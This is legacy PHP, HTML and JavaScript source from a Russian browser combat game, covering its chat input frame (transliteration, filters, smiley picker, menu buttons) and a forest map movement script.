<td background="http://i.oldbk.com/i/chat/x_bg.jpg" height="26" width="100%">&nbsp;</a></td>
</tr>
</table>
</div>
<br style="margin: 0px; padding: 0px;" /><br />
<div style="margin-top: 10px; margin-left: 3px; margin-bottom: 10px; display: block;" id="mes"></div>
<div style="margin-top: 10px; margin-left: 3px; margin-bottom: 10px; display: none;" id="mes_private"></div>
<div style="margin-top: 10px; margin-left: 3px; margin-bottom: 10px; display: none;" id="mes_klan"></div>
<div style="margin-top: 10px; margin-left: 3px; margin-bottom: 10px; display: none;" id="mes_pal"></div>
<div style="margin-top: 10px; margin-left: 3px; margin-bottom: 10px; display: none;" id="mes_trade"></div>
<div style="margin-top: 10px; margin-left: 3px; margin-bottom: 10px; display: none;" id="mes_system"></div>
<div style="margin-top: 10px; margin-left: 3px; margin-bottom: 10px; display: none;" id="mes_help"></div>
<div id="oMenu" style="position: absolute; border:1px solid #666; background-color:#CCC; display:none; "></div>
<div id="ClearMenu" style="position: absolute; border:1px solid #666; background-color: #e2e0e0; display: none;"></div>
<? } else {
$now="night";
if (date("H") <=5) {
$tme=mktime(6, 1,0);
} elseif (date("H")<22) {
$tme=mktime(22, 1,0);
} else {
$tme=mktime (6, 1, 0, date("n"), date("j")+1,0);
}
$left=$tme-time();
?>
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-type" />
<script language="JavaScript" src="js/jquery-1.7.2.min.js"></script>
<script language="JavaScript" src="js/chat.js"></script>
<script language="JavaScript">
top.ChatTranslit = false;
var map_en = new Array('s`h','S`h','S`H','s`Х','sh`','Sh`','SH`',"'o",'yo',"'O",'Yo','YO','zh','w','Zh','ZH','W','ch','Ch','CH','sh','Sh','SH','e`','E`',"'u",'yu',"'U",'Yu',"YU","'a",'ya',"'A",'Ya','YA','a','A','b','B','v','V','g','G','d','D','e','E','z','Z','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','r','R','s','S','t','T','u','U','f','F','h','H','c','C','`','y','Y',"'")
var map_ru = new Array('сх','Сх','СХ','сХ','щ','Щ','Щ','ё','ё','Ё','Ё','Ё','ж','ж','Ж','Ж','Ж','ч','Ч','Ч','ш','Ш','Ш','э','Э','ю','ю','Ю','Ю','Ю','я','я','Я','Я','Я','а','А','б','Б','в','В','г','Г','д','Д','е','Е','з','З','и','И','й','Й','к','К','л','Л','м','М','н','Н','о','О','п','П','р','Р','с','С','т','Т','у','У','ф','Ф','х','Х','ц','Ц','ъ','ы','Ы','ь')
function convert(str) {
for(var i = 0; i < map_en.length; ++i) while(str.indexOf(map_en[i])>=0) str = str.replace(map_en[i],map_ru[i]);
return str;
}
function send(adm) {
document.write(adm);
}
function defPosition2(event) {
var isIE11 = navigator.userAgent.match(/Trident\/7.0.*rv.*11\.0/);
var x = y = 0;
if(document.attachEvent != null || isIE11) {
x = window.event.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
y = window.event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
if(window.event.clientY + 10 > document.body.clientHeight) { y-=6 } else { y-=2 }
} else if(!document.attachEvent && document.addEventListener) {
x = event.clientX + window.scrollX;
y = event.clientY + window.scrollY;
if(event.clientY + 10 > document.body.clientHeight) { y-=6 } else { y-=2 }
} else {
}
return {x:x, y:y};
}
function translate() {
var strarr = new Array();
strarr = document.F1.text.value.split(' ');
for(var k=0;k<strarr.length;k++) {
if(strarr[k].indexOf("http://") < 0 && strarr[k].indexOf('@') < 0 && strarr[k].indexOf("www.") < 0 && !(strarr[k].charAt(0)==":" && strarr[k].charAt(strarr[k].length-1)==":")) {
if ((k<strarr.length-1)&&(strarr[k]=="to" || strarr[k]=="private")&&(strarr[k+1].charAt(0)=="[")) {
while ( (k<strarr.length-1) && (strarr[k].charAt(strarr[k].length-1)!="]") ) k++;
} else { strarr[k] = convert(strarr[k]) }
}
}
document.F1.text.value = strarr.join(' ');
}
function trns() {
var strarr = new Array();
strarr = document.F1.text.value.split(' ');
for(var k=0;k<strarr.length;k++) {
if(strarr[k].indexOf("http://") < 0 && strarr[k].indexOf('@') < 0 && strarr[k].indexOf("www.") < 0 && !(strarr[k].charAt(0)==":" && strarr[k].charAt(strarr[k].length-1)==":")) {
if ((k<strarr.length-1)&&(strarr[k]=="to" || strarr[k]=="private")&&(strarr[k+1].charAt(0)=="[")) {
while ( (k<strarr.length-1) && (strarr[k].charAt(strarr[k].length-1)!="]") ) k++;
} else { strarr[k] = convert(strarr[k]) }
}
}
document.F1.text.value = strarr.join(' ');
}
function set_local(item, key) {
try {
localStorage.setItem(key, item);
var localValue = localStorage.getItem(key);
console.log(localValue);
} catch(e) {
if(e == QUOTA_EXCEEDED_ERR) {
alert('Превышен лимит ...');
}
}
}
function sw_translit() {
top.ChatTranslit = !top.ChatTranslit;
if (top.ChatTranslit) {
document.all('b___translit').src = b___translit_on.src;
document.all('b___translit').alt = b___translit_on.alt;
} else {
document.all('b___translit').src = b___translit_off.src;
document.all('b___translit').alt = b___translit_off.alt;
}
}
function sw_filter() {
top.ChatOm = !top.ChatOm;
if (top.ChatOm) {
document.all('b___filter').src = b___filter_on.src;
document.all('b___filter').alt = b___filter_on.alt;
document.F1.om.value = '1';
} else {
document.all('b___filter').src = b___filter_off.src;
document.all('b___filter').alt = b___filter_off.alt;
document.F1.om.value = '';
}
}
function sw_sys() {
top.ChatSys = ! top.ChatSys;
if (top.ChatSys) {
document.all('b___sys').src = b___sys_on.src;
document.all('b___sys').alt = b___sys_on.alt;
document.F1.sys.value = '1';
} else {
document.all('b___sys').src = b___sys_off.src;
document.all('b___sys').alt = b___sys_off.alt;
document.F1.sys.value = '';
}
}
function sw_slow() {
if(top.ChatSlow) {
if(top.ChatTimerID >= 0) {
top.StopRefreshChat();
document.all('b___slow').src = b___chat_off.src; document.all('b___slow').alt = b___chat_off.alt;
} else {
top.ChatSlow = false;
top.ChatDelay=top.ChatNormDelay;
top.RefreshChat();
document.all('b___slow').src = b___slow_off.src; document.all('b___slow').alt = b___slow_off.alt;
}
} else {
top.ChatSlow = true;
document.all('b___slow').src = b___slow_on.src; document.all('b___slow').alt = b___slow_on.alt;
top.ChatDelay=top.ChatSlowDelay;
top.RefreshChat();
}
}
function subm() {
t = top.frames['chat'].currenttab;
$('input[name="chtype"]:hidden').val(t);
if(top.ChatTranslit) { translate(); }
}
var b___translit_on = new Image; b___translit_on.src="i/b___translit_on.gif"; b___translit_on.alt="(включено) Преобразовывать транслит в русский текст";
var b___translit_off = new Image; b___translit_off.src="i/b___translit_off.gif"; b___translit_off.alt="(выключено) Преобразовывать транслит в русский текст";
var b___filter_on = new Image; b___filter_on.src="i/b___filter_on.gif"; b___filter_on.alt="(включено) Показывать в чате только сообщения адресованные мне";
var b___filter_off = new Image; b___filter_off.src="i/b___filter_off.gif"; b___filter_off.alt="(выключено) Показывать в чате только сообщения адресованные мне";
var b___sys_on = new Image; b___sys_on.src="i/b___sys_on.gif"; b___sys_on.alt="(включено) Показывать в чате системные сообщения";
var b___sys_off = new Image; b___sys_off.src="i/b___sys_off.gif"; b___sys_off.alt="(выключено) Показывать в чате системные сообщения";
var b___slow_on = new Image; b___slow_on.src="i/b___slow_on.gif"; b___slow_on.alt="(включено) Медленное обновление чата (раз в минуту)";
var b___slow_off = new Image; b___slow_off.src="i/b___slow_off.gif"; b___slow_off.alt="(выключено) Медленное обновление чата (раз в минуту)";
var b___chat_off = new Image; b___chat_off.src="i/b___chat_off.gif"; b___chat_off.alt="Обновление чата выключено!";
function IsIE(elem) {
ss = top.frames['chat'].document.getElementById('mes').offsetHeight;
if(ss > 0 && (ss-140) > 0) {
ss -= 144;
}
elem.style.position = 'absolute';
elem.style.top = ss+'px';
}
function smiles() {
if (document.all && document.all.item && !window.opera && !document.layers) {
var x = event.screenX - 150;
var y = event.screenY - 320;
var sFeatures = 'dialogLeft:'+x+'px;dialogTop:'+y+'px;dialogHeight:310px;dialogWidth:300px;help:no;status:no;unadorned:yes';
window.showModelessDialog("smiles.html", window, sFeatures);
} else {
var sm = new Array("horse",60,40, "hug",48,20, "laugh",15,15, "susel",70,34 , "fingal",22,15, "eek",15,15, "flowers",28,29, "smoke",20,20, "hi",31,28, "bye",15,15,
"king",21,22, "king2",28,24, "boks2",28,21, "boks",62,28, "gent",15,21, "lady",15,19, "tongue",15,15, "smil",16,16, "rotate",15,15,
"ponder",21,15, "bow",15,21, "smile",18,18, "angel",42,23, "angel2",26,25, "hello",25,27, "dont",26,26, "idea",26,27, "mol",27,22, "super",26,28,
"beer",15,15, "drink",19,17, "baby",15,18, "tongue2",15,15, "sword",49,18, "agree",37,15, "loveya",27,15, "kiss",15,15, "kiss2",15,15, "kiss3",15,15, "kiss4",37,15, "rose",15,15, "love",27,28,
"love2", 55,24, "inv",80,20, "confused",15,22, "yes",15,15, "no",15,15, "shuffle",15,20, "nono",22,19, "maniac",70,25, "privet",27,29, "ok",22,16, "ninja",15,15,
"pif",46,26, "smash",30,26, "alien",13,15, "pirate",23,19, "gun",40,18, "trup",20,20, "mdr",56,15, "sneeze",15,20, "mad",15,15, "friday",57,28, "cry",16,16, "grust",15,15, "rupor",38,18,
"fie",15,15, "nnn",82,16, "row",36,15, "red",15,15, "lick",15,15, "help",23,15, "wink",15,15, "jeer",26,16, "tease",33,19, "str", 35, 25, "kruger",34,27, "girl",37,26, "Knight1",69,37, "rev",40,25, "smile100",44,39, "smile118",25,25,
"smile149", 54,37, "smile166",46,29, "smile237",35,35, "smile245",50,30, "smile28",33,34, "smile289",46,31, "smile314",36,29, "smile36",50,46, "smile39",46,48,
"smile44",27,26, "smile70",50,32 );
function createMessage(title, body) {
var container = document.createElement('div');
var i = 0;
body = '';
while(i < sm.length) {
var s = sm[i++];
body +='<a class="hoversmile" href="javascript: void(0);" onClick="SSm(\''+s+'\')"><IMG SRC=i/smiles/'+s+'.gif WIDTH='+sm[i++]+' HEIGHT='+sm[i++]+' BORDER=0 ALT="" ></a>';
}
container.innerHTML = '<div id="ssmsmilediv" class="ssm-smile"><div class="ssm-smile-body">'+body+'</div><input class="ssm-smile-ok" type="button" value="Закрыть"/></div>';
return container.firstChild;
}
function positionMessage(elem) {
var ua = navigator.userAgent.toLowerCase();
if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1) {
IsIE(elem);
} else {
elem.style.position = 'fixed';
elem.style.bottom =0+'px';
}
elem.style.right = 2+'px';
}
function addCloseOnClick(messageElem) {
var input = messageElem.getElementsByTagName('INPUT')[0];
input.onclick = function() {
messageElem.parentNode.removeChild(messageElem);
}
}
function setupMessageButton(title, body) {
var messageElem = createMessage(title, body);
positionMessage(messageElem);
addCloseOnClick(messageElem);
top.frames['chat'].document.body.appendChild(messageElem);
}
try {
el = top.frames['chat'].document.getElementById('ssmsmilediv');
el.parentNode.removeChild(el);
} catch(err) {
}
setupMessageButton('Смайлики ;)', '');
}
}
function rslength() { // изменяет размер строки ввода текста
var size = document.body.clientWidth-(2*30)-66-256-30;
if (size<100) { size=100 }
document.F1.text.width = size;
document.all('T2').width = size;
}
function clearc() {
if (document.forms[0].text.value == '') {
if(confirm('Очистить окно чата?')) top.frames['chat'].document.all("mes").innerHTML='';
} else { document.F1.text.value=''; }
document.F1.text.focus();
}
function clearnew(evt) {
if(document.forms[0].text.value == '') {
menu = top.frames['chat'].document.getElementById("ClearMenu");
if(menu.style.display == "none") {
evt = evt || window.event;
evt.cancelBubble = true;
var html = '<p style="margin: 10px;"><input type="button" style="cursor: pointer;" onclick="clearfull();" value="Очистить весь чат" /><br style="margin-top: 5px;"> \
<input type="button" style="font-weight: bold; cursor: pointer;" onclick="clearpanel();" value="Очистить текущую вкладку" /><br style="margin-top: 5px;"> \
<input type="button" style="cursor: pointer;" value="Отменить" onclick="top.frames[\'chat\'].document.getElementById(\'ClearMenu\').style.display=\'none\';" /><br style="margin-top: 5px;"></p> \
';
if(html) {
menu.innerHTML = html;
var ua = navigator.userAgent.toLowerCase();
if(false) {
ss = top.frames['chat'].document.getElementById('mes').offsetHeight;
if(ss > 0 && (ss-140) > 0) ss -= 144;
menu.style.position = 'absolute';
menu.style.top=ss+'px';
} else {
menu.style.position = 'fixed';
menu.style.bottom =0+'px';
}
menu.style.left = defPosition2(evt).x + "px";
menu.style.display = "";
}
} else {
menu.style.display = "none";
}
} else {
document.F1.text.value='';
}
document.F1.text.focus();
}
window.onresize = rslength;
</script>
<script language="VBScript">
sub flashsound_FSCommand(byval command, byval args)
call flashsound_DoFSCommand(command, args)
end sub
</script>
<script language=JavaScript>
function flashsound_DoFSCommand(command, args) {
top.frames['bottom'].document.getElementById('soundM').innerHTML = '';
}
function SoundB() {
if (top.SoundOff==true)
top.frames['bottom'].document.getElementById('but_sound').src = 'i/zvuk.gif';
else top.frames['bottom'].document.getElementById('but_sound').src = 'i/zvuk_off.gif';
top.SoundOff=!top.SoundOff;
}
</script>
</head>
<body leftmargin=0 topmargin=0 marginheight=0 marginwidth=0 bgcolor=#E6E6E6 onload="top.strt();"> <!-- rslength(); -->
<form action="ch.php" target="refreshed" method="GET" name="F1" id="F1" onsubmit="subm(); top.NextRefreshChat();">
<input type="hidden" name="color" value="000000" />
<input type="hidden" name="sys" value="" />
<input type="hidden" name="om" value="" />
<input type="hidden" name="lid" value="" />
<input type="hidden" name="chtype" value="0" />
<table width="100%" height="30" cellspacing="0" cellpadding="0">
<tr valign="top" style="background-image:url(i/buttons/beg_chat_03.gif); background-position: top; background-repeat:repeat-x; ">
<td width="9"><img src="i/buttons/bkf_l_r1_02.gif" width="9" height="30"></td>
<td width="30"><IMG SRC="i/buttons/b___.gif" WIDTH=30 HEIGHT=30 BORDER=0 ALT="Чат"></td>
<div id="soundM" style="position:absoluite;"></div>
<div id="soundM2" style="position:absoluite;"></div>
<td valign="middle" id="T2">
<input class="sms_txt" type="text" id="ssmtext" name="text" maxlength="300" size="100" style="width: 100%;" autocomplete="off" placeholder="Введите текст сообщения" />
</TD>
<td nowrap id="T3">
<a href="javascript:void(0)" onclick="if(top.ChatTranslit) { trns(); } document.forms[0].submit()" title="Добавить текст в чат"><IMG SRC="i/buttons/b___ok.gif" WIDTH=30 HEIGHT=30 BORDER=0 ALT="Добавить текст в чат"></a><IMG SRC="i/buttons/1x1.gif" WIDTH="8" HEIGHT="1" BORDER=0 ALT="">
<a href="javascript:void(0)" onclick="clearnew(event);" title="Очистить строку ввода"><IMG SRC="i/buttons/b___clear.gif" WIDTH=30 HEIGHT=30 BORDER=0 ALT="Очистить строку ввода"></a><a href="javascript:void(0)" onclick="sw_filter();" title="(выключено) Показывать в чате только сообщения адресованные мне"><IMG SRC="i/buttons/b___filter_off.gif" WIDTH=30 HEIGHT=30 BORDER=0 name="b___filter" ALT="(выключено) Показывать в чате только сообщения адресованные мне"></a><a href="javascript:void(0)" onclick="sw_sys();" title="(выключено) Показывать в чате системные сообщения"><IMG SRC="i/buttons/b___sys_off.gif" WIDTH=30 HEIGHT=30 BORDER=0 name="b___sys" ALT="(выключено) Показывать в чате системные сообщения"></a><a href="javascript:void(0)" onclick="sw_slow();" title="(выключено) Медленное обновление чата (раз в минуту)"><IMG SRC="i/buttons/b___slow_off.gif" WIDTH=30 HEIGHT=30 BORDER=0 name="b___slow" ALT="(выключено) Медленное обновление чата (раз в минуту)"></a><img src="i/buttons/b___translit_off.gif" alt="(выключено) Преобразовывать транслит в русский текст (правила перевода см. в энциклопедии)" name="b___translit" width="30" height="30" id="b___translit" style="cursor: hand;" onclick="sw_translit();"><a href="javascript:void(0)" onclick="SoundB()" title="Звуки"><IMG SRC="i/buttons/zvuk_off.gif" id="but_sound" WIDTH=30 HEIGHT=30 BORDER=0></a><a href="javascript:void(0)" onclick="smiles()" title="Смайлики"><IMG SRC="i/buttons/1x1.gif" WIDTH="8" HEIGHT="1" BORDER=0 ALT=""><IMG SRC="i/buttons/b___smile.gif" WIDTH=30 HEIGHT=30 BORDER=0 ALT="Смайлики"></a>
</TD>
<td width="19" id="T4" background="i/buttons/b___bg2.gif"><img src="i/buttons/b___1.gif" width="19" height="30" alt="" /></td>
<td align="right" nowrap="nowrap" bgcolor="BAB7B3" id="T5" background="i/buttons/b___bg2.gif">
<?php
echo "<a href=\"javascript:void(0)\" title=\"Настройки/Инвентарь\"><IMG SRC=\"/i/$now/a___inv.gif\" WIDTH=30 HEIGHT=30 BORDER=0 ALT=\"Настройки/Инвентарь\" onclick=\"top.cht('main.php?edit='+Math.random())\"></a>";
echo "<a href=\"javascript:void(0)\" title=\"Реликты\"><IMG SRC=\"/design/i/buttons/otheralign.png\" WIDTH=30 HEIGHT=30 BORDER=0 ALT=\"Реликты\" onclick=\"top.cht('relikt.php?edit='+Math.random())\"></a>";
#echo "<a class=\"buttons\" href=\"javascript:void(0)\" title=\"Сделки\"><img src=\"i/deal.png\" width=30 height=30 border=0 onclick=\"top.cht('deal.php?edit='+Math.random())\" /></a>";
if ($user['level'] > 1) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" title=\"Друзья\"><img src=\"i/friend.gif\" width=30 height=30 border=0 onclick=\"top.cht('friend.php?edit='+Math.random())\" /></a>";
}
if ($user['level'] > 3) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('give.php')\" title=\"Передачи\"><img src=\"i/b__give.gif\" width=30 height=30 border=0 /></a>";
}
if ($user['klan']) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('klan.php?'+Math.random())\" title=\"Клан\"><img src=\"i/clan.gif\" width=30 height=30 border=0 /></a>";
}
if ($user['klan']) {
#echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('__modules/clan_panel.php?'+Math.random())\" title=\"Клан\"><img src=\"i/clan.gif\" width=30 height=30 border=0 /></a>";
}
if ($user['deal']==1) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('orden.php')\" title=\"Дилерская панель\"><IMG SRC=\"i/chatalign_7.gif\" WIDTH=30 HEIGHT=30 BORDER=0 /></a>";
} elseif ((($user['align']>1) && ($user['align']<2)) || (($user['align']>2) && ($user['align']<3))) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('palklan.php?'+Math.random())\" title=\"Клан\"><img src=\"i/clan.gif\" width=30 height=30 border=0 /></a>";
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('orden.php')\" title=\"Склонность\"><img src=\"i/a___pal.gif\" width=30 height=30 border=0 /></a>";
} elseif ($user['align']==2 || $user['align']==8.31) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('orden.php')\" title=\"Склонность\"><img src=\"i/chatalign_2.gif\" width=30 height=30 border=0 /></a>";
} elseif ($user['align']==3) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('orden.php')\" title=\"Склонность\"><img src=\"i/chatalign_3.gif\" width=30 height=30 border=0 /></a>";
} elseif ($user['align']==6) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('orden.php')\" title=\"Склонность\"><img src=\"i/chatalign_6.gif\" width=30 height=30 border=0 /></a>";
}
if ((($user['align']>7) && ($user['align']<8))) {
echo "<a class=\"buttons\" href=\"javascript:void(0)\" onclick=\"top.cht('orden.php')\" title=\"Панель сенатора\"><img src=\"i/a___vip.gif\" width=30 height=30 border=0 /></a>";
}
echo "<a class=\"buttons\" href=\"/forum.php\" target=\"_blank\" title=\"Форум\"><img src=\"i/a__forum.gif\" width=30 height=30 border=0 /></a>";
$CH = date("H");
$CM = date("i");
$CS = date("s");
?>
<a href="javascript:void(0)" title="Выход из игры"><IMG SRC="/i/<?=$now?>/a___ext.gif" WIDTH=30 HEIGHT=30 BORDER=0 onclick="if (confirm('Выйти из игры?')) top.window.location='index.php?exit=0.560057875997465'"></a></TD>
<td width="70" valign="middle" background="/i/<?=$now?>/b___bg2.gif" bgcolor="BAB7B3" id="T6">
<script>
var html='';
if (navigator.userAgent.match(/MSIE/)) {
// IE gets an OBJECT tag
html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="70" height="26"><param name="movie" value="<?=IMGBASE?>/i/clock.swf?hours=<?=date("H")?>&minutes=<?=date("i")?>&sec=<?=date("s")?>" /><param name="quality" value="high" /></object>';
}
else {
// all other browsers get an EMBED tag
html += '<embed src="http://old-combats.com/flash/clock.swf?hours=<?=$CH?>&minutes=<?=$CM?>&sec=<?=$CS?>" quality="best" width="70" height="26" allowScriptAccess="always" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />';
}
document.write(html);
</script>
</td>
<td width="9" valign="middle" background="/i/<?=$now?>/b___bg2.gif" bgcolor="BAB7B3"><img src="/i/<?=$now?>/bkf_l_r1_06.gif" width="9" height="30"></td>
</TR>
</TABLE>
<script language="JavaScript">
var user = top.getCookie("ChatColor");
if ((user != null)&&(user != "")) document.F1.color.value = user;
function smiles(){
if (document.all && document.all.item && !window.opera && !document.layers){
var x = event.screenX - 150;
var y = event.screenY - 320;
var sFeatures = 'dialogLeft:'+x+'px;dialogTop:'+y+'px;dialogHeight:310px;dialogWidth:300px;help:no;status:no;unadorned:yes';
window.showModelessDialog("smiles.html?", window, sFeatures);
}
else{
var sm = new Array("horse",60,40, "hug",48,20, "laugh",15,15, "susel",70,34 , "fingal",22,15, "eek",15,15, "flowers",28,29, "smoke",20,20, "hi",31,28, "bye",15,15,
"king",21,22, "king2",28,24, "boks2",28,21, "boks",62,28, "gent",15,21, "lady",15,19, "tongue",15,15, "smil",16,16, "rotate",15,15,
"ponder",21,15, "bow",15,21, "smile",18,18, "angel",42,23, "angel2",26,25, "hello",25,27, "dont",26,26, "idea",26,27, "mol",27,22, "super",26,28,
"beer",15,15, "drink",19,17, "baby",15,18, "tongue2",15,15, "sword",49,18, "agree",37,15, "loveya",27,15, "kiss",15,15, "kiss2",15,15, "kiss3",15,15, "kiss4",37,15, "rose",15,15, "love",27,28,
"love2", 55,24, "inv",80,20, "confused",15,22, "yes",15,15, "no",15,15, "shuffle",15,20, "nono",22,19, "maniac",70,25, "privet",27,29, "ok",22,16, "ninja",15,15,
"pif",46,26, "smash",30,26, "alien",13,15, "pirate",23,19, "gun",40,18, "trup",20,20, "mdr",56,15, "sneeze",15,20, "mad",15,15, "friday",57,28, "cry",16,16, "grust",15,15, "rupor",38,18,
"fie",15,15, "nnn",82,16, "row",36,15, "red",15,15, "lick",15,15, "help",23,15, "wink",15,15, "jeer",26,16, "tease",33,19, "str", 35, 25, "kruger",34,27, "girl",37,26, "Knight1",69,37, "rev",40,25, "smile100",44,39, "smile118",25,25,
"smile149", 54,37, "smile166",46,29, "smile237",35,35, "smile245",50,30, "smile28",33,34, "smile289",46,31, "smile314",36,29, "smile36",50,46, "smile39",46,48,
"smile44",27,26, "smile70",50,32 );
function createMessage(title, body) {
var container = document.createElement('div');
var i=0;
body='';
while(i<sm.length) {
var s = sm[i++];
//javascript:top.AddToPrivate('Baks', top.CtrlPress)
body +='<a class="hoversmile" href="javascript:void(0)" onClick="SSm(\''+s+'\')"><IMG SRC=i/smiles/'+s+'.gif WIDTH='+sm[i++]+' HEIGHT='+sm[i++]+' BORDER=0 ALT="" ></a>';
}
//container.innerHTML = '<div id="ssmsmilediv" class="ssm-smile"><div class="ssm-smile-title">'+title+'</div><div class="ssm-smile-body">'+body+'</div><input class="ssm-smile-ok" type="button" value="Закрыть"/></div>';
container.innerHTML = '<div id="ssmsmilediv" class="ssm-smile"><div class="ssm-smile-body">'+body+'</div><input class="ssm-smile-ok" type="button" value="Закрыть"/></div>';
return container.firstChild;
}
function positionMessage(elem) {
var ua = navigator.userAgent.toLowerCase();
if (ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua.indexOf("webtv") == -1) {
IsIE(elem);
}
else{
elem.style.position = 'fixed';
elem.style.bottom =0+'px';
}
elem.style.right = 2+'px';
}
function addCloseOnClick(messageElem) {
var input = messageElem.getElementsByTagName('INPUT')[0];
input.onclick = function() {
messageElem.parentNode.removeChild(messageElem);
}
}
function setupMessageButton(title, body) {
var messageElem = createMessage(title, body);
positionMessage(messageElem);
addCloseOnClick(messageElem);
top.frames['chat'].document.body.appendChild(messageElem);
}
try{
el=top.frames['chat'].document.getElementById('ssmsmilediv');
el.parentNode.removeChild(el);
}
catch(err){
}
setupMessageButton('Смайлики ;)', '');
}
}
</script>
</FORM>
<? } ?>
</body>
</html>

120
c_forest.php Normal file
View File

@ -0,0 +1,120 @@
<?
session_start();
if(!isset($_SESSION['uid'])) { header('Location: index.php'); exit(); }
include('config.php');
include('functions.php');
if($user['room'] == 51) { header('location: city.php'); die(); }
$forest = mysql_fetch_array(mysql_query('SELECT `id`, `room`, `room_id`, `time`, `user`, `data` FROM `forest` WHERE `user` = "'.$user['id'].'" LIMIT 1'));
if(!isset($forest['id'])) {
die('Ошибка. Сообщите Администрации. Код ошибки : 00.');
}
function loadmap_cell() {
global $forest;
$dat = unserialize($forest['data']);
$dat = array('Up' => $dat[$forest['room']]['Up'], 'Down' => $dat[$forest['room']]['Down'], 'Left' => $dat[$forest['room']]['Left'], 'Right' => $dat[$forest['room']]['Right']);
return $dat;
}
$map_user = loadmap_cell();
if($_GET['exit_forest'] == 'true') {
if($forest['room']) {
#mysql_query('DELETE FROM `forest_bots` WHERE `user` = "'.$user['id'].'" AND `group` = "'.$forest['id'].'"');
#mysql_query('DELETE FROM `forest_items` WHERE `user` = "'.$user['id'].'" AND `group` = "'.$forest['id'].'"');
mysql_query('DELETE FROM `forest` WHERE `user` = "'.$user['id'].'" LIMIT 1');
mysql_query("UPDATE `users`,`online` SET `users`.`room` = '51', `online`.`room` = '51' WHERE `online`.`id` = `users`.`id` AND `online`.`id` = '".$user['id']."'");
unset($forest);
} else {
$error = 'Выхода тут нет ...';
}
}
echo $map_user['Down'].' = '.$map_user['Right'];
if($_GET['move'] == 'true') {
if($_GET['Dir'] == 'Up') {
if($map_user['Up'] == 1) {
mysql_query('UPDATE `forest` SET `room` = "cell_'.($forest['room_id']-5).'", `room_id` = "'.($forest['room_id']-5).'" WHERE `id` = "'.$forest['id'].'" LIMIT 1');
$forest['room'] = 'cell_'.($forest['room_id']-5); $forest['room_id'] = $forest['room_id']-5;
} else {
$error = 'Ошибка. Сообщите Администрации. Код ошибки : 01.';
}
} elseif($_GET['Dir'] == 'Down') {
if($map_user['Down'] == 1) {
mysql_query('UPDATE `forest` SET `room` = "cell_'.($forest['room_id']+5).'", `room_id` = "'.($forest['room_id']+5).'" WHERE `id` = "'.$forest['id'].'" LIMIT 1');
$forest['room'] = 'cell_'.($forest['room_id']+5); $forest['room_id'] = $forest['room_id']+5;
} else {
$error = 'Ошибка. Сообщите Администрации. Код ошибки : 02.';
}
} elseif($_GET['Dir'] == 'Left') {
if($map_user['Left'] == 1) {
$forest['room'] = 'cell_'.($forest['room_id']-1); $forest['room_id'] = $forest['room_id']-1;
mysql_query('UPDATE `forest` SET `room` = "'.$forest['room'].'", `room_id` = "'.$forest['room_id'].'" WHERE `id` = "'.$forest['id'].'" LIMIT 1');
} else {
$error = 'Ошибка. Сообщите Администрации. Код ошибки : 03.';
}
} elseif($_GET['Dir'] == 'Right') {
if($map_user['Right'] == 1) {
$forest['room'] = 'cell_'.($forest['room_id']+1); $forest['room_id'] = $forest['room_id']+1;
mysql_query('UPDATE `forest` SET `room` = "'.$forest['room'].'", `room_id` = "'.$forest['room_id'].'" WHERE `id` = "'.$forest['id'].'" LIMIT 1');
} else {
$error = 'Ошибка. Сообщите Администрации. Код ошибки : 04.';
}
} else {
$error = 'Not in this life';
}
}
?>
<html>
<head>
<title>404</title>
<script src="js/jquery-1.7.2.min.js"></script>
<link rel="stylesheet" type="text/css" href="css/hostel.css" />
<style>
.bt {
border: solid 1px #b0b0b0;
margin-top: 1px;
margin-bottom: 2px;
font-size: 11px;
color: #191970;
float: right;
margin-right: 18px;
}
</style>
</head>
<body>
<div id="ajaxContainer" style="display: none;"></div>
<div class="contentContainer">
<div class="buttonContainer">
<input type="button" class="bt" value="Обновить" onclick="location.href='c_forest.php';" />
<input type="button" class="bt" value="Выйти из лесу" onclick="location.href='c_forest.php?exit_forest=true';" />
<div style="float: left;padding-left: 50px;">
<span id="hpKey_378332" class="hpContainer hpContainer-g">
<img src="/i/herz.gif" width="10" height="10" alt="Уровень жизни" />
<img src="/i/1green.gif" width="122" height="10" alt="Уровень жизни" />
<img src="/i/1silver.gif" width="0" height="10" alt="уровень жизни" />: 300/300
</span>
</div>
</div>
<div id="systemMsg" class="system-msg"></div>
<div style="position: relative; width: 780px; height: 350px; background-image: url('forest/<?=$forest['room'];?>.jpg');">
<? if($map_user['Right'] == 1) { ?>
<img style="position: absolute; bottom: 30px; left: 740px; cursor: pointer; width: 20px; height: 117px; border: 0px solid blue;" class="pngimg" src="i/forest/pointer_2.png" title="<?=$var_map['cell_'.($forest['room_id']+1)];?>" onclick="location.href='?move=true&Dir=Right';" />
<? } ?>
<? if($map_user['Left'] == 1) { ?>
<img style="position: absolute; bottom: 30px; left: 20px; cursor: pointer; width: 20px; height: 117px; border: 0px solid blue;" class="pngimg" src="i/forest/pointer_6.png" title="<?=$var_map['cell_'.($forest['room_id']-1)];?>" onclick="location.href='?move=true&Dir=Left';" />
<? } ?>
<? if($map_user['Down'] == 1) { ?>
